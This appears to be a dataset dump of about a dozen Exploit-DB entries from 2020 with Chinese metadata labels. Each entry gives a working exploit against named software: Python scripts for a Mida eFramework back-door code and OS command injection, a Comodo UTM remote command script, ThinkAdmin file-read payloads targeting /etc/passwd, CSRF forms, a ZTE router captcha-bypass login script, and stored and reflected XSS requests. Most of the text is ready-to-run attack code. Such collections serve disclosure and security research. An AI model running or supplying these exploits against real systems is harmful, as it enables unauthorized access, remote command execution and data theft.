QLWD/code_shield huggingface dataset:
标题: Mida eFramework 2.9.0 - Back Door Access EDB-ID: 48823 CVE: 2020-15921 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-09-21 漏洞利用脚本: # Exploit Title: Mida eFramework 2.9.0 - Back Door Access
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.9.0
# CVE : CVE-2020-15921


#! /usr/bin/python3
# -*- coding: utf-8 -*-

from datetime import date

def print_disclaimer():
print("""
---------------------
Disclaimer:
1) For testing purpose only.
2) Do not attack production environments.
3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
4) The author is not responsible for any possible harm caused by this
material.
---------------------""")

def print_info():
print("""
[*] Mida Solutions eFramework PDC Administrative Back-Door access
(CVE-2020-15921)
[*] Reference:
https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] This script can be used to retrieve the code which gives you the
possibility to change the password.
[*] How it works:
1) run the script
2) copy the output to the URL you want to access (i.e.
http://192.168.1.60:8090/PDC/extreq.php?code=THE-CODE)
3) change the password
4) access as admin with the password """)

def main():
print_info()
print_disclaimer()
abc = ['a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z']
baseString = 'midasoluti' # default value from source code
today = date.today()
dateString = "{}0{:02d}0{}".format(today.day, today.month, today.year)
retString = ""

for i in range(0,len(baseString)):
n = int(abc.index(baseString[i]))
m = int(dateString[i])
s = n+m
if (s >= len(abc)):
s = m
retString += abc[s]
print("[+] Generated code: {}".format(retString))
print("[?] Example URL: http://target:8090/PDC/extreq.php?code={0}
".format(retString))
print("[?] Example URL: https://target/PDC/extreq.php?code={0}
".format(retString))

if __name__ == '__main__':
main() URL: https://www.exploit-db.com/exploits/48823
标题: BlackCat CMS 1.3.6 - Cross-Site Request Forgery EDB-ID: 48820 CVE: 2020-25453 类型: WEBAPPS 平台: PHP 发布日期: 2020-09-21 漏洞利用脚本: # Exploit Title: BlackCat CMS 1.3.6 - Cross-Site Request Forgery
# Date: 2020-06-01
# Exploit Author: Noth
# Vendor Homepage: https://github.com/BlackCatDevelopment/BlackCatCMS
# Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
# Version: v1.3.6
# CVE : CVE-2020-25453

BlackCat CMS v1.3.6 has a CSRF vulnerability (bypass csrf_token) that
allows remote arbitrary code execution .

PoC (Remove the csrf_token value) :

<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
-------------------------------------------------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“
http://127.0.0.1/blackcatcms-release-1.3/backend/login/ajax_index.php
”method=“POST”>
<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
<input type=“hidden” name=“username&#95;fieldname”
value=“username&#95;274807982ed4”/>
<input type=“hidden” name=“password&#95;fieldname”
value=“password&#95;75868428f837”/>
<input type=“hidden” name=“&#95;cat&#95;ajax” value=“1”/>
<input type=“hidden” name=“username&#95;274807982ed4” value=“accountname”/>
<input type=“hidden” name=“password&#95;75868428f837” value=“yourpassword”/>
<input type=“submit” value=“Submit request”/>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/48820
标题: Comodo Unified Threat Management Web Console 2.7.0 - Remote Code Execution EDB-ID: 48825 CVE: 2018-17431 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-09-22 漏洞利用脚本: # Exploit Title: Comodo Unified Threat Management Web Console 2.7.0 - Remote Code Execution
# Date: 2018-08-15
# Exploit Author: Milad Fadavvi
# Author's LinkedIn: https://www.linkedin.com/in/fadavvi/
# Vendor Homepage: https://www.comodo.com/
# Version: Releases before 2.7.0 & 1.5.0 
# Tested on: Windows=Firefox/chrome - Kali=firefox
# PoC & other infos: https://github.com/Fadavvi/CVE-2018-17431-PoC
# CVE : CVE-2018-17431
# CVE-detailes: https://nvd.nist.gov/vuln/detail/CVE-2018-17431
# CVSS 3 score: 9.8 

import requests

def RndInt(Lenght):
    from random import choice
    from string import digits

    RandonInt = ''.join([choice(digits) for n in range(Lenght)])
    return str(RandonInt)

if __name__ == "__main__":

    IP = input("IP: ")
    Port = input("Port: ")

    Command = '%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a' ## Disable SSH
    '''For more info about command try to read manual of spesefic version of Comodo UTM and 
       exploit PoC (https://github.com/Fadavvi/CVE-2018-17431-PoC)
     '''

    BaseURL = "https://" + IP + ":" + Port + "/manage/webshell/u?s=" + RndInt(1) + "&w=" + RndInt(3) +"&h=" + RndInt(2)
    BaseNComdURL = BaseURL + "&k=" + Command
    LastPart = "&l=" + RndInt(2) +"&_=" + RndInt(13) 
    FullURL = BaseNComdURL + LastPart
    AddetionalEnter = BaseURL + "&k=%0a" + LastPart

    try:
        FirstResponse = requests.get(FullURL).text
    except:
        print('\nExploit failed due HTTP Error. Check given URL and Port!\n')
        exit(1)
    
    SecondResponse = requests.get(AddetionalEnter).text
    if SecondResponse.find("Configuration has been altered") == -1:
        print("\nExploit Failed!\n")
        exit(1)
    else:
        print("\nOK! Command Ran!\n")
    exit(0) URL: https://www.exploit-db.com/exploits/48825
标题: ThinkAdmin 6 - Arbitrarily File Read EDB-ID: 48812 CVE: 2020-25540 类型: WEBAPPS 平台: PHP 发布日期: 2020-09-15 漏洞利用脚本: # Exploit Title: ThinkAdmin 6 -  Arbitrarily File Read
# Google Dork: N/A
# Date: 2020-09-14
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/zoujingli/ThinkAdmin/
# Software Link: Before https://github.com/zoujingli/ThinkAdmin/commit/ff2ab47cfabd4784effbf72a2a386c5d25c43a9a
# Version: v6 <= 2020.08.03.01
# Tested on: PHP7.4.7,Apache
# CVE : CVE-2020-25540

PoC:
On Windows read database.php payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

On Linux read /etc/passwd payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s URL: https://www.exploit-db.com/exploits/48812
标题: RAD SecFlow-1v SF_0290_2.3.01.26 - Cross-Site Request Forgery (Reboot) EDB-ID: 48809 CVE: 2020-13259 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-09-14 漏洞利用脚本: # Exploit Title: RAD SecFlow-1v SF_0290_2.3.01.26 - Cross-Site Request Forgery (Reboot)
# Date: 2020-08-31
# Exploit Author: Uriel Yochpaz and Jonatan Schor
# Vendor Homepage: https://www.rad.com/products/secflow-1v-IIoT-Gateway
# Version: SecFlow-1v os-image SF_0290_2.3.01.26
# Tested on: RAD SecFlow-1v
# CVE : N/A

A vulnerability in the web-based management interface of RAD SecFlow-1v
could allow an unauthenticated, remote attacker to conduct a cross-site
request forgery (CSRF) attack on an affected system.
The vulnerability is due to insufficient CSRF protections for the web UI on
an affected device.
An attacker could exploit this vulnerability by persuading a user of the
interface to follow a malicious link. A successful exploit could allow the
attacker to perform arbitrary actions with the privilege level of the
affected user.
This could be exploited in conjunction with CVE-2020-13260.

# Proof of Concept
By persuading an authenticated user to open a web page containing the
following code:
<img src="https://SecFlow-1v_IP/devicereboot.php?restart=1&isSubmitted=1">
A reboot operation would begin.
This attack could execute any operation available at the web-based
management interface (File uploads, Scheduled and immediate reboots,
Factory reset etc.)

# Full Account Takeover
As mentioned above, this exploit could be used in conjunction with
CVE-2020-13260 (Stored-XSS), by using the CSRF exploit to upload a
malicious file to a Stored-XSS vulnerabale page, which could allow Full
Account Takeover.
For further information and full PoC:
https://github.com/UrielYochpaz/CVE-2020-13259

# Timeline
May 19th, 2020 - Vulnerability exposed.
May 19th, 2020 – Vulnerability reported to RAD.
May 21th, 2020 – Vulnerability reported to MITRE.
May 21th, 2020 – MITRE assigned CVE: CVE-2020-13259.
May 22th, 2020 – Contacted RAD for further details and cooperation.
Aug 25th, 2020 – RAD patched the vulnerability. URL: https://www.exploit-db.com/exploits/48809
标题: ZTE Router F602W - Captcha Bypass EDB-ID: 48801 CVE: 2020-6862 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-09-10 漏洞利用脚本: # Exploit Title: ZTE Router F602W - Captcha Bypass 
# Exploit Author: Hritik Vijay (@MrHritik)
# Vendor Homepage: https://zte.com.cn
# Reported: 2019-06-14
# Version: F6x2W V6.0.10P2T2
# Version: F6x2W V6.0.10P2T5 
# Tested on: F602W 
# CVE: CVE-2020-6862

Background
-----------
Captcha is used to make sure the form is being filled by a real person
than an automated script. This is a very popular safety measure and
bypassing it could lead to potential compromise.

Introduction
------------
While logging in to the affected device you are presented with a
username, password and captcha field. Submitting the form results in an
HTTP request being sent out to /checkValidateCode.gch to validate the
captcha, if valid it goes on to really submit the login request. This
can be easily bypassed as this is a client side verification. One can
always ignore the response and proceed to forcefully submit the form via
Javascript (via calling the subpageSubmit() method).
A typical login request looks like this:

POST / HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Connection: close
Cookie: _TESTCOOKIESUPPORT=1
Upgrade-Insecure-Requests: 1

frashnum=&action=login&Frm_Logintoken=2&Username=admin&Password=admin&Validatecode=literally_anything

Though, firing the same request twice fails with a text on the top
saying "Error". This pretty much defeats our purpose. It turns out that
on every login attempt, the parameter Frm_Logintoken gets incremented by
one and is required to match the server side value. This can pretty
easily be achieved by some pattern matching. Thus allowing any script
to bypass the captcha and log in.

Threat
-------
A captcha bypass can really help in bruteforcing the credentials but
luckily the router limits the login trials to 3 attempts. In real
world though, things are a bit different. 
The affected ZTE router comes with a default password. Given that the 
devices on a same ISP network can access each other, it would be a 
matter of time before someone writes a script to log in to every router 
in the network and take control of it.

PoC
-------

#!/bin/bash

SERVER=192.168.1.1
USER="admin"
PASS="admin"

getToken(){
 curl -s  --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER | grep 'Frm_Logintoken")' | cut -d\" -f4
}

Frm_Logintoken=`getToken`

s=$(curl -sv --data "frashnum=&action=login&Frm_Logintoken=$Frm_Logintoken&Username=$USER&Password=$PASS" --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER -w "%{http_code}" -o /dev/null 2> /tmp/zte_cookie)
if [[ $s -eq 302 ]]; then
 echo "Logged in"
 echo "Open http://$SERVER/start.ghtml"
 echo `grep -o Set-Cookie.* /tmp/zte_cookie`
else
 echo "Failed"
fi URL: https://www.exploit-db.com/exploits/48801
标题: RAD SecFlow-1v SF_0290_2.3.01.26 - Persistent Cross-Site Scripting EDB-ID: 48807 CVE: 2020-13260 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-09-14 漏洞利用脚本: # Exploit Title: RAD SecFlow-1v SF_0290_2.3.01.26 - Persistent Cross-Site Scripting
# Date: 2020-08-31
# Exploit Author: Jonatan Schor and Uriel Yochpaz
# Vendor Homepage: https://www.rad.com/products/secflow-1v-IIoT-Gateway
# Version: SecFlow-1v os-image SF_0290_2.3.01.26
# Tested on: RAD SecFlow-1v
# CVE : N/A

A Stored-XSS vulnerability was found in multiple pages in the web-based
management interface of RAD SecFlow-1v.
An attacker could exploit this vulnerability by uploading a malicious file
as the OVPN file in Configuration-Services-Security-OpenVPN-Config or as
the static key file in Configuration-Services-Security-OpenVPN-Static Keys.
These files content is presented to users while executing malicious stored
JavaScript code.
This could be exploited in conjunction with CVE-2020-13259

# Proof of Concept
Upload a file containing the following JS code:
<img src=x onerror=alert(1)>
Refresh the page and observe the malicious JS code execute every time you
browse the compromised page.

# Full Account Takeover
As mentioned above, this exploit could be used in conjunction with
CVE-2020-13259 (CSRF), by using the CSRF exploit to upload a malicious file
to a Stored-XSS vulnerabale page, which could allow Full Account Takeover.
For further information and full PoC:
https://github.com/UrielYochpaz/CVE-2020-13259

# Timeline
May 19th, 2020 - Vulnerability exposed.
May 19th, 2020 – Vulnerability reported to RAD.
May 21th, 2020 – Vulnerability reported to MITRE.
May 21th, 2020 – MITRE assigned CVE: CVE-2020-13260.
May 22th, 2020 – Contacted RAD for further details and cooperation.
Aug 25th, 2020 – RAD patched the vulnerability. URL: https://www.exploit-db.com/exploits/48807
标题: Piwigo 2.10.1 - Cross Site Scripting EDB-ID: 48814 CVE: 2020-9467 类型: WEBAPPS 平台: PHP 发布日期: 2020-09-16 漏洞利用脚本: # Exploit Title: Piwigo 2.10.1 - Cross Site Scripting
# POC by: Iridium
# Software Homepage: http://www.piwigo.org
# Version : 2.10.1
# Tested on: Linux & Windows
# Category: webapps
# Google Dork: intext: "Powered by Piwigo"
# CVE : CVE-2020-9467

######## Description ########

Piwigo 2.10.1 has stored XSS via the file parameter in a /ws.php request
because of the pwg.images.setInfo function.

######## Proof of Concept ########

*Request*

POST /piwigo/ws.php?format=json HTTP/1.1
Host: [victim]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 79
Origin: http://[victim]
Connection: close
Referer: http://[victim]/piwigo/admin.php?page=photos_add&section=direct
Cookie: pwg_id=08tksticrdkctrvj3gufqqbsnh

method=pwg.categories.add&parent=1&name=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/48814
标题: Savsoft Quiz Enterprise Version 5.5 - Persistent Cross-Site Scripting EDB-ID: 48785 CVE: 2020-24609 类型: WEBAPPS 平台: PHP 发布日期: 2020-09-03 漏洞利用脚本: # Exploit Title: Savsoft Quiz Enterprise Version 5.5 - Persistent Cross-Site Scripting
# Date: 2020-09-01
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://savsoftquiz.com/
# Software Link: https://savsoftquiz.com/web/demo.php
# Version: 5.0
# Tested on: Windows 10/Kali Linux
# Contact: https://www.linkedin.com/in/hemantsolo/

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: First Name, Last Name
1. Go to the registration page.
2. Fill all the details  and put this payload in First and Last Name "<script>alert("OPPS")</script>"
3. Now go to the admin panel and the XSS will be triggered.

POST /savsoftquiz_v5_enterprise/index.php/login/insert_user/ HTTP/1.1
Host: TARGET
Connection: close
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://savsoftquiz.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://TARGET/savsoftquiz_v5_enterprise/index.php/login/registration/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.757300437.1598544895; _gid=GA1.2.1240991040.1598544895; ci_session=mm5q58p28e620n9im0imeildnvabkoeg

email=hemantpatidar1337%40gmail.com&password=test&first_name=<script>alert("OPPS")</script>&last_name=<script>alert("OPPS")</script>&contact_no=0000000000&gid%5B%5D=1 URL: https://www.exploit-db.com/exploits/48785
标题: Mara CMS 7.5 - Reflective Cross-Site Scripting EDB-ID: 48777 CVE: 2020-24223 类型: WEBAPPS 平台: PHP 发布日期: 2020-08-31 漏洞利用脚本: # Exploit Title: Mara CMS  7.5 - Reflective Cross-Site Scripting
# Google Dork: NA
# Date: 2020-08-01
# Exploit Author: George Tsimpidas
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Version: 7.5
# Tested on: Kali Linux(x64)
# CVE : CVE-2020-24223


Mara CMS 7.5 suffers from a Reflected Cross Site Scripting vulnerability.

Description :


 This Reflected XSS vulnerability allows any authenticated user to
inject malicious code via the parameter contact.php?theme=<inject>.
The vulnerability exists because the parameter is not properly
sanitized and this can lead to malicious code injection that will be
executed on the target’s browser.

PoC :

Use Payload : seven69387';alert(1)//154

Path : http://localhost/contact.php?theme=< inject payload here>

Injection Example :
http://localhost/contact.php?theme=seven69387';alert(1)//154 URL: https://www.exploit-db.com/exploits/48777
标题: Mida eFramework 2.9.0 - Remote Code Execution EDB-ID: 48768 CVE: 2020-15920 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-08-27 漏洞利用脚本: # Exploit Title: Mida eFramework 2.9.0 - Remote Code Execution
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.9.0
# CVE : CVE-2020-15920


#! /usr/bin/python3
# -*- coding: utf-8 -*-

import argparse
import requests
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def print_disclaimer():
   print("""
    ---------------------
    Disclaimer:
    1) For testing purpose only.
    2) Do not attack production environments.
    3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
    4) The author is not responsible for any possible harm caused by this
material.
    ---------------------""")


def print_info():
   print("""
[*] PoC exploit for Mida eFramework <= 2.9.0 PDC (CVE-2020-15920)
[*] Reference:
https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] Vulnerability: OS Command Injection Remote Code Execution Vulnerability
(RCE) in PDC/ajaxreq.php
    Version\t< 2.9.0\t./CVE-2020-15920
http://192.168.1.60:8090/PDC/ajaxreq.php id
    Version\t2.9.0\t./CVE-2020-15920 https://192.168.1.60/PDC/ajaxreq.php
id """)

def pwn(url,cmd):
   running = """
[*] Target URL: {0}
[*] Command: {1}
   """
   print(running.format(url,cmd))
   data = {
      "DIAGNOSIS":"PING",
      "PARAM":"127.0.0.1 -c 0; {0}".format(cmd)
   }
   r = requests.post(url,data=data,verify=False)
   line = "[*]"+"-"*20+" Output " + "-" *20 +"[*]"
   pretty_output = r.text.replace('<br>','\n')
   print(line+"\n{0}\n".format(pretty_output)+line)

def main():
   print_info()
   print_disclaimer()
   parser = argparse.ArgumentParser()
   parser.add_argument("target", type=str, help="the complete target URL")
   parser.add_argument("cmd", type=str, help="the command you want to run")
   args = parser.parse_args()
   pwn(args.target, args.cmd)

if __name__ == '__main__':
   main() URL: https://www.exploit-db.com/exploits/48768
标题: Savsoft Quiz 5 - Stored Cross-Site Scripting EDB-ID: 48753 CVE: 2020-24609 类型: WEBAPPS 平台: PHP 发布日期: 2020-08-18 漏洞利用脚本: # Exploit Title: Savsoft Quiz 5 - Stored Cross-Site Scripting
# Date: 2020-07-28
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage:  https://savsoftquiz.com/
# Software Link:  https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Windows 10
# Contact: https://www.linkedin.com/in/th3cyb3rc0p/
# CVE: CVE-2020-24609

Stored Cross-site scripting(XSS):
Stored attacks are those where the injected script is permanently stored on the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: First Name, Last Name
Steps for reproduce:
1. Goto registration page
2. fill the details. & put <script>alert("XSS")</script> payload in First name,Last name
3. Now goto Admin Panel.we can see that our payload gets executed.

POST /index.php/login/insert_user/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php/login/registration/
Cookie: ci_session=d99b121b1213b92a163181fd49c75f667dbce9ea
Upgrade-Insecure-Requests: 1

email=hack3r%40gmail.com&password=Hacker%40gmail.com&first_name=%3Cscript%3Ealert%28%22XSS+0%22%29%3B%3C%2Fscript%3E&last_name=%3Cscript%3Ealert%28%22XSS+2%22%29%3B%3C%2Fscript%3E&contact_no=9876543210&gid%5B%5D=1 URL: https://www.exploit-db.com/exploits/48753